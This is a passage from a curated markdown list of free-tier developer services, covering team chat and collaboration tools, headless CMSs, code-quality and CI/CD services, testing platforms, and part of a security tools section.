* [Braid](https://www.braidchat.com/) — Chat app designed for teams. Free for public access group, unlimited users, history, and integrations. also it provide self-hostable open-source version.
* [cally.com](https://cally.com/) — Find the perfect time and date for a meeting. Simple to use, works great for small and large groups.
* [Calendly](https://calendly.com) — Calendly is the tool for connecting and scheduling meetings. Free plan provides 1 Calendar connection per user and Unlimited meetings. Desktop and Mobile apps also provided.
* [Discord](https://discord.com/) — Chat with public/private rooms. Markdown text, voice, video, and screen sharing capabilities. Free for unlimited users.
* [Telegram](https://telegram.org/) — Telegram is for everyone who wants fast and reliable messaging and calls. Business users and small teams may like the large groups, usernames, desktop apps and powerful file sharing options.
* [Duckly](https://duckly.com/) — Talk and collaborate in real-time with your team. Pair programming with any IDE, terminal sharing, voice, video and screen sharing. Free for small teams.
* [Dyte](https://dyte.io) - The most developer-friendly live video & audio SDK, featuring collaborative plugins to enhance productivity and engagement. The free tier includes 10,000 minutes of live video/audio usage every month.
* [evernote.com](https://evernote.com/) — Tool for organizing information. Share your notes and work together with others
* [Fibery](https://fibery.io/) — Connected workspace platform. Free for single user, up to 2 GB disk space.
* [Filestash](https://www.filestash.app) — A Dropbox-like file manager that connects to a range of protocols and platforms: S3, FTP, SFTP, Minio, Git, WebDAV, Backblaze, LDAP and more.
* [flock.com](https://flock.com) — A faster way for your team to communicate. Free Unlimited Messages, Channels, Users, Apps & Integrations
* [Gather](https://www.gather.town/) - A better way to meet online. Centered around fully customizable spaces, Gather makes spending time with your communities just as easy as real life. Free for up to 10 concurrent users.
* [gokanban.io](https://gokanban.io) - Syntax based, no registration Kanban Board for fast use. Free with no limitations.
* [flat.social](https://flat.social) - Interactive customizable spaces for team meetings & happy hours socials. Unlimited meetings, free up to 8 concurrent users.
* [GitDailies](https://gitdailies.com) - Daily reports of your team's Commit and Pull Request activity on GitHub. Includes Push visualizer, peer recognition system, custom alert builder. Free tier has unlimited users, 3 repos, 3 alert configs.
* [gitter.im](https://gitter.im/) — Chat, for GitHub. Unlimited public and private rooms, free for teams up to 25
* [Hackmd.io](https://hackmd.io/) - Real time collaboration & writing tool for markdown format docs/files. Like GoogleDocs but for markdown files. Free unlimited number of "notes", but number of collaborators (invitee) for private notes & template [will be limited](https://hackmd.io/pricing).
* [hangouts.google.com](https://hangouts.google.com/) — One place for all your conversations, for free, need a Google account
* [HeySpace](https://hey.space) - Task management tool with chat, calendar, timeline and video calls. Free for up to 5 users.
* [helplightning.com](https://www.helplightning.com/) — Help over video with augmented reality. Free without analytics, encryption, support
* [ideascale.com](https://ideascale.com/) — Allow clients to submit ideas and vote, free for 25 members in 1 community
* [Igloo](https://www.igloosoftware.com/) — Internal portal for sharing documents, blogs and calendars etc. Free for up to 10 users.
* [Keybase](https://keybase.io/) — Keybase is a cool FOSS alternative to Slack, it keeps everyone's chats and files safe, from families to communities to companies.
* [Google Meet](https://meet.google.com/) — Use Google Meet for your business's online video meeting needs. Meet provides secure, easy-to-join online meetings.
* [/meet for Slack](https://meetslack.com) - Start Google Meetings directly from Slack by using /meet in any channel, group or DM. Free without any limitations.
* [Livecycle](https://www.livecycle.io/) — Livecycle is an inclusive collaboration platform that makes workflows frictionless for cross-functional product teams and open source projects.
* [MarkUp](https://www.markup.io/) — MarkUp lets you collect feedback directly on top of your websites, PDFs and images.
* [Visual Debug](https://visualdebug.com) - A Visual feedback tool for better client-dev communication
* [meet.jit.si](https://meet.jit.si/) — One click video conversations, screen sharing, for free
* [Microsoft Teams](https://products.office.com/microsoft-teams/free) — Microsoft Teams is a chat-based digital hub that brings conversations, content, and apps together in one place all from a single experience. Free for up to 500k users.
* [Miro](https://miro.com/) - Scalable, secure, cross-device and enterprise-ready team collaboration whiteboard for distributed teams. With freemium plan.
* [nootiz](https://www.nootiz.com/) - The go-to tool for gathering and managing visual feedback on any website
* [Notion](https://www.notion.so/) - Notion is a note-taking and collaboration application with markdown support that also integrates tasks, wikis, and databases. The company describes the app as an all-in-one workspace for note-taking, project management and task management. In addition to cross-platform apps, it can be accessed via most web browsers.
* [Nuclino](https://www.nuclino.com) - A lightweight and collaborative wiki for all your team's knowledge, docs, and notes. Free plan with all essential features, up to 50 items, 5GB total storage.
* [Quidlo Timesheets](https://www.quidlo.com/timesheets) - A simple timesheet and time tracking app for teams. Free plan has time tracking and generating reports features, it is available for up to 10 users.
* [PageShare.dev](https://www.pageshare.dev) - Adds visual reviews capabilities into GitHub Pull Requests with no need to deploy websites. Free for up to 10 pages each month and 100MB of storage in total.
* [Pendulums](https://pendulums.io/) - Pendulums is a free time tracking tool which helps you to manage your time in a better manner with an easy to use interface and useful statistics.
* [Pumble](https://pumble.com) - Free team chat app. Unlimited users and message history, free forever.
* [Raindrop.io](https://raindrop.io) - Private and secure bookmarking app for macOS, Windows, Android, iOS and Web. Free Unlimited Bookmarks and Collaboration.
* [element.io](https://element.io/) — A decentralized and open source communication tool built on Matrix. Group chats, direct messaging, encrypted file transfers, voice and video chats, and easy integration with other services.
* [Rocket.Chat](https://rocket.chat/) - Open-source communication platform with Omnichannel features, Matrix Federation, Bridge with others apps, Unlimited messaging and Full messaging history.
* [seafile.com](https://www.seafile.com/) — Private or cloud storage, file sharing, sync, discussions. Private version is full. Cloud version has just 1 GB
* [Sema](https://www.semasoftware.com/) - Free developer portfolio tool able to consolidate and snapshot contributions across multiple repositories into a single report.
* [Slab](https://slab.com/) — A modern knowledge management service for teams. Free for up to 10 users.
* [slack.com](https://slack.com/) — Free for unlimited users with some feature limitations
* [Spectrum](https://spectrum.chat/) - Create public or private communities for free.
* [StatusPile](https://www.statuspile.com/) - A status page of status pages. Track the status pages of your upstream providers.
* [Stickies](https://stickies.app/) - Visual collaboration app used for brainstorming, content curation, and notes. Free for up to 3 Walls, unlimited users, 1 GB storage.
* [talky.io](https://talky.io/) — Free group video chat. Anonymous. Peer‑to‑peer. No plugins, signup, or payment required
* [Teamhood](https://teamhood.com/) - Free Project, Task and Issue tracking software. Supports Kanban with Swimlanes and full Scrum implementation. Has integrated time tracking. Free for 5 users and 3 project portfolios.
* [Teamplify](https://teamplify.com) - improve team development processes with Team Analytics and Smart Daily Standup. Includes full-featured Time Off management for remote-first teams. Free for small teams up to 5 users.
* [Tefter](https://tefter.io) - Bookmarking app with a powerful Slack integration. Free for open-source teams.
* [TeleType](https://teletype.oorja.io/) — share terminals, voice, code, whiteboard and more. no sign-in required, end-to-end encrypted collaboration for developers.
* [TimeCamp](https://www.timecamp.com/) - Free time tracking software for unlimited users. Easily integrates with PM tools like Jira, Trello, Asana, etc.
* [twist.com](https://twist.com) — An asynchronous-friendly team communication app where conversations stay organized and on-topic. Free and Unlimited plans available. Discounts provided for eligible teams.
* [tldraw.com](https://tldraw.com) — Free open source white-boarding and diagramming tool with features such as smart arrows, snapping, sticky notes, and SVG export. Multiplayer mode for collaborative editing. Free official VS Code extension available as well.
* [BookmarkOS.com](https://bookmarkos.com) - Free all-on-one bookmark manager, tab manager, and task manager in a customizable online desktop with folder collaboration.
* [typetalk.com](https://www.typetalk.com/) — Share and discuss ideas with your team through instant messaging on the web or on your mobile
* [Tugboat](https://tugboat.qa) - Preview every pull request, automated and on-demand. Free for all, complimentary Nano tier for non-profits.
* [whereby.com](https://whereby.com/) — One click video conversations, for free (formerly known as appear.in)
* [windmill.dev](https://windmill.dev/) - Windmill is an open-source developer platform to quickly build production-grade multi-steps automations and internal apps from minimal Python and Typescript scripts. Free user you can create and be member of at most 3 non-premium workspaces.
* [vadoo.tv](https://vadoo.tv/) — Video hosting and marketing made simple. Upload videos with a single click. Record, manage, share & more. Free tier provides upto 10 videos, 1 GB storage, 10 GB bandwidth/month
* [userforge.com](https://userforge.com/) - Interconnected online personas, user stories and context mapping. Helps keep design and dev in sync, free for up to 3 personas and 2 collaborators.
* [wistia.com](https://wistia.com/) — Video hosting with viewer analytics, HD video delivery and marketing tools to help understand your visitors, 25 videos and Wistia branded player
* [wormhol.org](https://www.wormhol.org/) — Straightforward file sharing service. Share unlimited files up to 5GB to as many peers as you want.
* [zoom.us](https://zoom.us/) — Secure Video and Web conferencing, add-ons available. Free limited to 40 minutes
* [shtab.app](https://shtab.app/) - Project management service that makes collaboration in the office and remotely transparent with tracker based on AI.
* [Zulip](https://zulip.com/) — Real-time chat with unique email-like threading model. Free plan includes 10,000 messages of search history and File storage up to 5 GB. also it provides self-hostable open-source version.
* [robocorp.com](https://robocorp.com) - Open-source stack for powering Automation Ops. Try out Cloud features and implement simple automations for free. Robot work 240 min/month, 10 Assistant runs, Storage of 100 MB.
* [Fleep.io](https://fleep.io/) — Fleep an alternative to Slack. It has a free plan for small teams with full message history, unlimited 1:1 conversations, 1 group conversation and 1 GB file storage.
* [Chanty.com](https://chanty.com/) — Chanty is another alternative to Slack. It has a free forever plan for small teams (up to 10) with unlimited public and private conversations, searchable history, unlimited 1:1 audio calls, unlimited voice messages, 10 integrations and 20 GB storage per team.
* [ruttl.com](https://ruttl.com/) — The best all-in-one feedback tool to collect digital feedback and review websites, PDF's and images.
* [Mattermost](https://mattermost.com/) — Secure collaboration for technical teams. Free plan with unlimited channels, playbooks, boards, users, 10GB storage and more.
* [Webvizio](https://webvizio.com) — Website feedback tool, website review software, and bug reporting tool for streamlining web development collaboration on tasks directly on live websites and web apps, images, PDFs, and design files.
* [Pullflow](https://pullflow.com) — Pullflow offers an AI-enhanced platform for code review collaboration across GitHub, Slack, and VS Code.
**[⬆️ Back to Top](#table-of-contents)**
## CMS
* [acquia.com](https://www.acquia.com/) — Hosting for Drupal sites. Free tier for developers. Free development tools (such as Acquia Dev Desktop) also available
* [Contentful](https://www.contentful.com/) — Headless CMS. Content management and delivery APIs in the cloud. Comes with one free Community space that includes 5 users, 25K records, 48 Content Types, 2 locales.
* [Cosmic](https://www.cosmicjs.com/) — Headless CMS and API toolkit. Free personal plans for developers.
* [Crystallize](https://crystallize.com) — Headless PIM with ecommerce support. Built-in GraphQL API. Free version includes unlimited users, 1000 catalogue items, 5 GB/month bandwidth and 25k/month API calls.
* [DatoCMS](https://www.datocms.com/) - Offers free tier for small projects. DatoCMS is a GraphQL based CMS. On the lower tier you have 100k/month calls.
* [Directus](https://directus.io) — Headless CMS. A completely free and open-source platform for managing assets and database content on-prem or in the Cloud. No limitations or paywalls.
* [Forestry.io](https://forestry.io/) — Headless CMS. Give your editors the power of Git. Create and edit Markdown-based content with ease. Comes with three free sites that includes 3 editors, Instant Previews. Integrates with blogs hosted on Netlify/GitHubpages/ elsewhere
* [FrontAid](https://frontaid.io/) — Headless CMS that stores JSON content directly in your own Git repository. No restrictions.
* [kontent.ai](https://www.kontent.ai) - A Content-as-a-Service platform that gives you all the headless CMS benefits while empowering marketers at the same time. Developer plan provides 2 users with unlimited projects with 2 environments for each, 500 content items, 2 languages with Delivery and Management API, and Custom elements support. Larger plans available to meet your needs.
* [Prismic](https://www.prismic.io/) — Headless CMS. Content management interface with fully hosted and scalable API. The Community Plan provides 1 user with unlimited API calls, documents, custom types, assets, and locales. Everything that you need for your next project. Bigger free plans available for Open Content/Open Source projects.
* [Sanity.io](https://www.sanity.io/) - Platform for structured content that comes with an open-source editing environment and a real-time hosted data store. Unlimited projects. Unlimited admin users, 3 non-admin users, 2 datasets, 500K API CDN requests, 10GB bandwidth, 5GB assets included for free per project.
* [sensenet](https://sensenet.com) - API-first headless CMS providing enterprise-grade solutions for businesses of all size. The Developer plan provides 3 users, 500 content items, 3 built-in roles, 25+5 content types, fully accessible REST API, document preview generation and Office Online editing.
* [GatsbyjsCMS](https://www.gatsbyjs.com/) - Gatsby is the fast and flexible framework that makes building websites with any CMS, API, or database fun again. Build and deploy headless websites that drive more traffic, convert better, and earn more revenue!
* [Hygraph](https://hygraph.com/) - Offers free tier for small projects. GraphQL first API. Move away from legacy solutions to the GraphQL native Headless CMS - and deliver omnichannel content API first.
* [Squidex](https://squidex.io/) - Offers free tier for small projects. API / GraphQL first. Open source, and based on event sourcing (versing every changes automatically).
* [InstaWP](https://instawp.com/) - Launch a WordPress site in a few seconds. A free tier with: 5 Active Sites, 500 MB Space, 48 hrs Site Expiry.
**[⬆️ Back to Top](#table-of-contents)**
## Code Generation
* [Appinvento](https://appinvento.io/) — AppInvento is a free No code app builder. In the automatically generated backend code, users have complete access to the source code along with unlimited APIs and routes, allowing for extensive integration. The free plan includes three projects, five tables, and a Google add-on.
* [DhiWise](https://www.dhiwise.com/) — Seamlessly turn Figma designs into dynamic Flutter & React applications with DhiWise's innovative code generation technology, optimizing your workflow and helping you craft exceptional mobile and web experiences faster than ever before.
* [Codeium](https://www.codeium.com/) — Codeium is a free AI-powered code completion tool. It supports over 20+ programming languages (Python, JavaScript, Java, TypeScript, PHP, C/C++, Go, etc) and integrates with all major standalone and web IDEs.
* [tabnine.com](https://www.tabnine.com/) — Tabnine helps developers create better software, faster by providing insights learned from all the code in the world. Plugin available.
**[⬆️ Back to Top](#table-of-contents)**
## Code Quality
* [beanstalkapp.com](https://beanstalkapp.com/) — A complete workflow to write, review and deploy code), free account for 1 user and 1 repository with 100 MB of storage
* [browserling.com](https://www.browserling.com/) — Live interactive cross-browser testing, free only 3 minutes sessions with MS IE 9 under Vista at 1024 x 768 resolution
* [codacy.com](https://www.codacy.com/) — Automated code reviews for PHP, Python, Ruby, Java, JavaScript, Scala, CSS and CoffeeScript, free for unlimited public and private repositories
* [Codeac.io](https://www.codeac.io/infrastructure-as-code.html?ref=free-for-dev) - Automated Infrastructure as Code review tool for DevOps integrates with GitHub, Bitbucket and GitLab (even self-hosted). In addition to standard languages, it analyzes also Ansible, Terraform, CloudFormation, Kubernetes, and more. (open-source free)
* [CodeBeat](https://codebeat.co) — Automated Code Review Platform available for many languages. Free forever for public repositories with Slack & E-mail integration.
* [codeclimate.com](https://codeclimate.com/) — Automated code review, free for Open Source and unlimited organisation-owned private repos (up to 4 collaborators). Also free for students and institutions.
* [codecov.io](https://codecov.io/) — Code coverage tool (SaaS), free for Open Source and 1 free private repo
* [CodeFactor](https://www.codefactor.io) — Automated Code Review for Git. Free version includes unlimited users, unlimited public repositories and 1 private repo.
* [codescene.io](https://codescene.io/) - CodeScene prioritizes technical debt based on how the developers work with the code and visualizes organizational factors like team coupling and system mastery. Free for Open Source.
* [coveralls.io](https://coveralls.io/) — Display test coverage reports, free for Open Source
* [dareboost](https://dareboost.com) - 5 free analysis report for web performance, accessibility, security each month
* [deepcode.ai](https://www.deepcode.ai) — DeepCode finds bugs, security vulnerabilities, performance and API issues based on AI. DeepCode's speed of analysis allow us to analyse your code in real time and deliver results when you hit the save button in your IDE. Supported languages are Java, C/C++, JavaScript, Python, and TypeScript. Integrations with GitHub, BitBucket and GitLab. Free for open source and private repos, free up to 30 developers.
* [deepscan.io](https://deepscan.io) — Advanced static analysis for automatically finding runtime errors in JavaScript code, free for Open Source
* [DeepSource](https://deepsource.io/) - DeepSource continuously analyzes source code changes, finds and fixes issues categorized under security, performance, anti-patterns, bug-risks, documentation and style. Native integration with GitHub, GitLab and Bitbucket.
* [eversql.com](https://www.eversql.com/) — EverSQL - The #1 platform for database optimization. Gain critical insights into your database and SQL queries, auto-magically.
* [gerrithub.io](https://review.gerrithub.io/) — Gerrit code review for GitHub repositories for free
* [gocover.io](https://gocover.io/) — Code coverage for any [Go](https://golang.org/) package
* [goreportcard.com](https://goreportcard.com/) — Code Quality for Go projects, free for Open Source
* [gtmetrix.com](https://gtmetrix.com/) — Reports and thorough recommendations to optimize websites
* [holistic.dev](https://holistic.dev/) - The #1 static code analyzer for Postgresql optimization. Performance, security, and architect database issues automatic detection service
* [houndci.com](https://houndci.com/) — Comments on GitHub commits about code quality, free for Open Source
* [Moderne.io](https://app.moderne.io) — Automatic source code refactoring. Moderne offers framework migrations, code analysis with remediation, and unrivaled code transformation at scale, so developers can spend their time building new things instead of maintaining the old. Free for Open Source.
* [reviewable.io](https://reviewable.io/) — Code review for GitHub repositories, free for public or personal repos
* [parsers.dev](https://parsers.dev/) - Abstract syntax tree parsers and intermediate representation compilers as a service
* [scan.coverity.com](https://scan.coverity.com/) — Static code analysis for Java, C/C++, C# and JavaScript, free for Open Source
* [scrutinizer-ci.com](https://scrutinizer-ci.com/) — Continuous inspection platform, free for Open Source
* [semanticdiff.com](https://app.semanticdiff.com/) — Programming language aware diff for GitHub pull requests and commits, free for public repositories
* [shields.io](https://shields.io) — Quality metadata badges for open source projects
* [sonarcloud.io](https://sonarcloud.io) — Automated source code analysis for Java, JavaScript, C/C++, C#, VB.NET, PHP, Objective-C, Swift, Python, Groovy and even more languages, free for Open Source
* [SourceLevel](https://sourcelevel.io/) — Automated Code Review and Team Analytics. Free for Open Source and organizations up to 5 collaborators.
* [Viezly](https://viezly.com/) - Enhanced code review tool for easier code reading and navigation. Free for Open Source and free for personal usage.
* [webceo.com](https://www.webceo.com/) — SEO tools but with also code verifications and different type of advices
* [zoompf.com](https://zoompf.com/) — Fix the performance of your web sites, detailed analysis
**[⬆️ Back to Top](#table-of-contents)**
## Code Search and Browsing
* [libraries.io](https://libraries.io/) — Search and dependency update notifications for 32 different package managers, free for open source
* [Namae](https://namae.dev/) - Search across various websites like github,gitlab,heroku,netlify and many more for availabilty of your project name.
* [searchcode.com](https://searchcode.com/) — Comprehensive text-based code search, free for Open Source
* [sourcegraph.com](https://about.sourcegraph.com/) — Java, Go, Python, Node.js, etc., code search/cross-references, free for Open Source
* [tickgit.com](https://www.tickgit.com/) — Surfaces `TODO` comments (and other markers) to identify areas of code worth returning to for improvement.
* [CodeKeep](https://codekeep.io) - Google Keep for Code Snippets. Organize,Discover and share code snippets, featuring a powerful code screenshot tool with preset templates and linking feature.
**[⬆️ Back to Top](#table-of-contents)**
## CI and CD
* [AccessLint](https://github.com/marketplace/accesslint) — AccessLint brings automated web accessibility testing into your development workflow. It's free for open source and education purposes.
* [appcircle.io](https://appcircle.io) — Automated mobile CI/CD/CT for iOS and Android with online device emulators. 20 minutes build timeout (60 mins for Open Source) with single concurrency for free.
* [appveyor.com](https://www.appveyor.com/) — CD service for Windows, free for Open Source
* [Argonaut](https://argonaut.dev/) - Deploy apps and infrastructure on your cloud in minutes. Support for custom and third-party app deployments on Kubernetes and Lambda environments. Free tier allows unlimited apps and deployments for 5 environments and 2 users.
* [bitrise.io](https://www.bitrise.io/) — A CI/CD for mobile apps, native or hybrid. With 200 free builds/month 10 min build time and two team members. OSS projects get 45 min build time, +1 concurrency and unlimited team size.
* [buddy.works](https://buddy.works/) — A CI/CD with 5 free projects and 1 concurrent runs (120 executions/month)
* [buddybuild.com](https://www.buddybuild.com/) — Build, deploy and gather feedback for your iOS and Android apps in one seamless, iterative system
* [Buildkite](https://buildkite.com)
* Pipelines: Free developer tier includes unlimited concurrency, up to 3 users, 5k job minutes/month, and 30 day build retention, with more free inclusions for open source projects
* [Test Analytics](https://buildkite.com/test-analytics) — Get more out of your test suites, works with any CI platform. Free developer tier includes 100k test executions/month, with more free inclusions for open source projects.
* [bytebase.com](https://www.bytebase.com/) — Database CI/CD and DevOps. Free under 20 users and 10 database instances
* [circleci.com](https://circleci.com/) — Free for one concurrent build
* [cirrus-ci.org](https://cirrus-ci.org) - Free for public GitHub repositories
* [codefresh.io](https://codefresh.io) — Free-for-Life plan: 1 build, 1 environment, shared servers, unlimited public repos
* [codemagic.io](https://codemagic.io/) - Free 500 build minutes/month
* [codeship.com](https://codeship.com/) — 100 private builds/month, 5 private projects, unlimited for Open Source
* [deploybot.com](https://www.deploybot.com/) — 1 repository with 10 deployments, free for Open Source
* [deployhq.com](https://www.deployhq.com/) — 1 project with 10 daily deployments (30 build minutes/month)
* [drone](https://cloud.drone.io/) - Drone Cloud enables developers to run Continuous Delivery pipelines across multiple architectures - including x86 and Arm (both 32 bit and 64 bit) - all in one place
* [LayerCI](https://layerci.com) — CI for full stack projects. 1 full stack preview environment with 5GB memory & 3 CPUs .
* [semaphoreci.com](https://semaphoreci.com/) — Free for Open Source, 100 private builds per month
* [Squash Labs](https://www.squash.io/) — creates a VM for each branch and makes your app available from a unique URL, Unlimited public & private repos, Up to 2 GB VM Sizes.
* [styleci.io](https://styleci.io/) — Public GitHub repositories only
* [Mergify](https://mergify.io) — workflow automation and merge queue for GitHub — Free for public GitHub repositories
* [Make](https://www.make.com/en) — Workflow automation tool which lets you connect apps and automate workflows using UI, it supports many apps and most popular APIs. Free for public GitHub repositories, and free tier with 100 Mb, 1000 Operations and 15 minutes of minimum interval.
* [Spacelift](https://spacelift.io/) - Management platform for Infrastructure as Code. Free plan features: IaC collaboration, Terraform module registry, ChatOps integration, Continuous resource compliance with Open Policy Agent, SSO with SAML 2.0 and access to public worker pools: up to 200 minutes/month
* [microtica.com](https://microtica.com/) - Spin up environments with ready-made infrastructure components, deploy apps on AWS for free and support your production workloads. The free tier includes 1 Environment (on your AWS account), 2 Kubernetes Services, 100 build minutes per month, and 20 deployments per month.
**[⬆️ Back to Top](#table-of-contents)**
## Testing
* [Applitools.com](https://applitools.com/) — Smart visual validation for web, native mobile and desktop apps. Integrates with almost all automation solutions (like Selenium and Karma) and remote runners (Sauce Labs, Browser Stack). free for open source. A free tier for a single user with limited checkpoints per week.
* [Appetize](https://appetize.io) — Test your Android & iOS apps on this Cloud Based Android Phone/Tablets emulators and iPhone/iPad simulators directly in your browser. Free tier includes 1 concurrent session with 100 minutes usage per month. No limit on app size.
* [Apptim](https://apptim.com) — A mobile testing tool that enables people without performance engineering skills to evaluate app's performance and user experience (UX). Desktop version using your own device is 100% FREE with unlimited tests on both iOS and Android.
* [Bencher](https://bencher.dev/) - A suite of continuous benchmarking tools designed to catch performance regressions in CI. Free for all public projects.
* [Bird Eats Bug](https://www.birdeatsbug.com/) — Report bugs faster (and better). Record your screen with Bird browser extension, it will auto-capture technical data that engineers need to debug. Free tier suitable for small teams.
* [BugBug](https://bugbug.io/) - Lightweight test automation tool for web applications. Easy to learn and doesn't require coding. You can run unlimited tests on your own computer for free. For an additional monthly fee, you also get cloud monitoring and CI/CD integration.
* [lambdatest.com](https://www.lambdatest.com/) — Manual, visual, screenshot and automated browser testing on selenium and cypress, [free for Open Source](https://www.lambdatest.com/open-source-cross-browser-testing-tool)
* [browserstack.com](https://www.browserstack.com/) — Manual and automated browser testing, [free for Open Source](https://www.browserstack.com/open-source?ref=pricing)
* [checkbot.io](https://www.checkbot.io/) — Browser extension that tests if your website follows 50+ SEO, speed and security best practices. Free tier for smaller websites.
* [checklyhq.com](https://checklyhq.com) - Checkly is the API & E2E monitoring platform for the modern stack: programmable, flexible and loving JavaScript. Generous free tier for devs.
* [crossbrowsertesting.com](https://crossbrowsertesting.com) - Manual, Visual, and Selenium Browser Testing in the cloud - [free for Open Source](https://crossbrowsertesting.com/open-source)
* [cypress.io](https://www.cypress.io/) - Fast, easy and reliable testing for anything that runs in a browser. Cypress Test Runner is always free and open source with no restrictions and limitations. Cypress Dashboard is free for open source projects for up to 5 users.
* [Cypress Recorder by Preflight](https://cypress.preflight.com/) - Create AI-powered Cypress Tests/POM models on your browser. It's open-source except for the AI part. It's free for 5 test creations each month with Self-healing scripts, Email, and Visual testing.
* [everystep-automation.com](https://www.everystep-automation.com/) — Records and replays all steps made in a web browser and creates scripts,... free with fewer options
* [Gremlin](https://www.gremlin.com/gremlin-free-software) — Gremlin's Chaos Engineering tools allow you to safely, securely, and simply inject failure into your systems to find weaknesses before they cause customer-facing issues. Gremlin Free provides access to Shutdown and CPU attacks on up to 5 hosts or containers.
* [gridlastic.com](https://www.gridlastic.com/) — Selenium Grid testing with free plan up to 4 simultaneous selenium nodes/10 grid starts/4,000 test minutes/month
* [katalon.com](https://katalon.com) - Provides a testing platform that can help teams of all sizes at different levels of testing maturity, including Katalon Studio, TestOps (+ Visual Testing free),TestCloud and Katalon Recorder.
* [Keploy](https://keploy.io/) - Keploy is a functional testing toolkit for developers. It generates E2E tests for APIs (KTests) along with mocks or stubs(KMocks) by recording real API calls. It is free for Open Source.
* [loadmill.com](https://www.loadmill.com/) - Automatically create API and load tests by analyzing network traffic. Simulate up to 50 concurrent users for up to 60 minutes for free every month.
* [preflight.com](https://preflight.com) - No-code automated web testing. Record tests on your browser that are resilient to UI changes and run them on Windows machines. Integrate with your CI/CD. The free plan includes 50 test runs per month with video, HTML sessions and more.
* [percy.io](https://percy.io) - Add visual testing to any web app, static site, style guide, or component library. Unlimited team members, Demo app and unlimited projects, 5,000 snapshots / month.
* [saucelabs.com](https://saucelabs.com/) — Cross-browser testing, Selenium testing, and mobile testing. The free plan includes 2000 credits per week. They also provide free licenses for selected open source projects, which can be requested [here](https://opensource.saucelabs.com/).
* [snippets.uilicious.com](https://snippets.uilicious.com) - It's like CodePen, but for cross browser testing. UI-licious lets write tests like user stories, and offers a free platform - UI-licious Snippets - that allows you to run unlimited number of tests on Chrome for free with no sign up requred, for up to 3 minutes per test run. Found a bug? You can simply copy the unique url to your test to show your devs exactly how to reproduce the bug.
* [testingbot.com](https://testingbot.com/) — Selenium Browser and Device Testing, [free for Open Source](https://testingbot.com/open-source)
* [Testspace.com](https://testspace.com/) - A Dashboard for publishing automated test results and a Framework for implementing manual tests as code using GitHub. The service is [free for Open Source](https://github.com/marketplace/testspace-com) accounts for 450 results per month.
* [tesults.com](https://www.tesults.com) — Test results reporting and test case management. Integrates with popular test frameworks. Open Source software developers, individuals, educators, and small teams getting started can request discounted and free offerings beyond basic free project.
* [websitepulse.com](https://www.websitepulse.com/tools/) — Various free network and server tools.
* [qase.io](https://qase.io) - Test management system for Dev and QA teams. Manage test cases, compose test runs, perform test runs, track defects and measure impact. The free tier includes all core features, with 500Mb available for attachments and up to 3 users.
* [knapsackpro.com](https://knapsackpro.com) - Speed up your tests with optimal test suite parallelisation on any CI provider. Split Ruby, JavaScript tests on parallel CI nodes to save time. Free plan for up to 10 minutes test files and free unlimited plan for Open Source projects.
* [webhook.site](https://webhook.site) - Verify webhooks, outbound HTTP requests, or emails with a custom URL. Temporary URL and email address is always free.
* [Vaadin](https://vaadin.com) — Build scalable UIs in Java or TypeScript, and use the integrated tooling, components and design system to iterate faster, design better and simplify the development process. Unlimited Projects with 5 years free maintenance.
* [webhook-test.com](https://webhook-test.com) - Debug and inspect webhooks, http requests during integration with a unique URL. Completely free, can create unlimited number of URLs and receive requests.
**[⬆️ Back to Top](#table-of-contents)**
## Security and PKI
* [alienvault.com](https://www.alienvault.com/open-threat-exchange/reputation-monitor) — Uncovers compromised systems in your network
* [atomist.com](https://atomist.com/) — A quicker and more convenient way to automate a variety of development tasks. Now in beta.
* [Bridgecrew](https://bridgecrew.io/) — Infrastructure as code (IaC) security powered by the open source tool - [Checkov](https://github.com/bridgecrewio/checkov). The core Bridgecrew platform is free for up to 50 IaC resources.
* [cloudsploit.com](https://cloudsploit.com/) — Amazon Web Services (AWS) security and compliance auditing and monitoring
* [CodeNotary.io](https://www.codenotary.io/) — Open Source platform with indelible proof to notarize code, files, directories or container
* [crypteron.com](https://www.crypteron.com/) — Cloud-first, developer-friendly security platform prevents data breaches in .NET and Java applications
* [CyberChef](https://gchq.github.io/CyberChef/) — A simple, intuitive web app for analysing and decoding/encoding data without having to deal with complex tools or programming languages. Like a swiss army knife of cryptography & encryption. All features are free to use, no limit. Open source, if you wish to self-host.
* [DAS](https://signup.styra.com/) — Styra DAS Free, Full lifecycle policy management to create, deploy and manage Open Policy Agent(OPA) authorization
* [Datree](https://www.datree.io/) — Open Source CLI tool to prevent Kubernetes misconfigurations by ensuring that manifests and Helm charts follow best practices as well as your organization’s policies
* [Dependabot](https://dependabot.com/) Automated dependency updates for Ruby, JavaScript, Python, PHP, Elixir, Rust, Java (Maven and Gradle), .NET, Go, Elm, Docker, Terraform, Git Submodules and GitHub Actions.
* [DJ Checkup](https://djcheckup.com) — Scan your Django site for security flaws with this free, automated, checkup tool. Forked from the Pony Checkup site.
* [Doppler](https://doppler.com/) — Universal Secrets Manager for application secrets and config, with support for syncing to various cloud providers. Free for 5 users with basic access controls.
* [Dotenv](https://dotenv.org/) — Sync your .env files, quickly & securely. Stop sharing your .env files over insecure channels like Slack and email, and never lose an important .env file again. Free for up to 3 teammates.
* [GitGuardian](https://www.gitguardian.com) — Keep secrets out of your source code with automated secrets detection and remediation. Scan your git repos for 350+ types of secrets and sensitive files – Free for individuals and teams of 25 developers or less.
* [Have I been pwned?](https://haveibeenpwned.com) — REST API for fetching the information on the breaches.
* [hostedscan.com](https://hostedscan.com) — Online vulnerability scanner for web applications, servers, and networks. 10 free scans per month.
* [Infisical](https://infisical.com/) — Open source platform that lets you manage developer secrets across your team and infrastructure: everywhere from local development to staging/production 3rd-party services. Free for up to 5 developers.
* [Internet.nl](https://internet.nl) — Test for modern Internet Standards like IPv6, DNSSEC, HTTPS, DMARC, STARTTLS and DANE
* [keychest.net](https://keychest.net) - SSL expiry management and cert purchase with an integrated CT database
* [letsencrypt.org](https://letsencrypt.org/) — Free SSL Certificate Authority with certs trusted by all major browsers
* [meterian.io](https://www.meterian.io/) - Monitor Java, Javascript, .NET, Scala, Ruby and NodeJS projects for security vulnerabilities in dependencies. Free for one private project, unlimited projects for open source.
* [Mozilla Observatory](https://observatory.mozilla.org/) — Find and fix security vulnerabilities in your site.
* [opswat.com](https://www.opswat.com/) — Security Monitoring of computers, devices, applications, configurations,... Free 25 users and 30 days history users.
* [openapi.security](https://openapi.security/) - Free tool to quickly check the security of any OpenAPI / Swagger based API. No signup required.
* [pyup.io](https://pyup.io) — Monitor Python dependencies for security vulnerabilities and update them automatically. Free for one private project, unlimited projects for open source.
* [qualys.com](https://www.qualys.com/community-edition) — Find web app vulnerabilities, audit for OWASP Risks
* [reCAPTCHAMe](https://recaptchame.com/) — free reCAPTCHA and hCAPTCHA backend service. No Server-Side coding needed. Works for static websites.
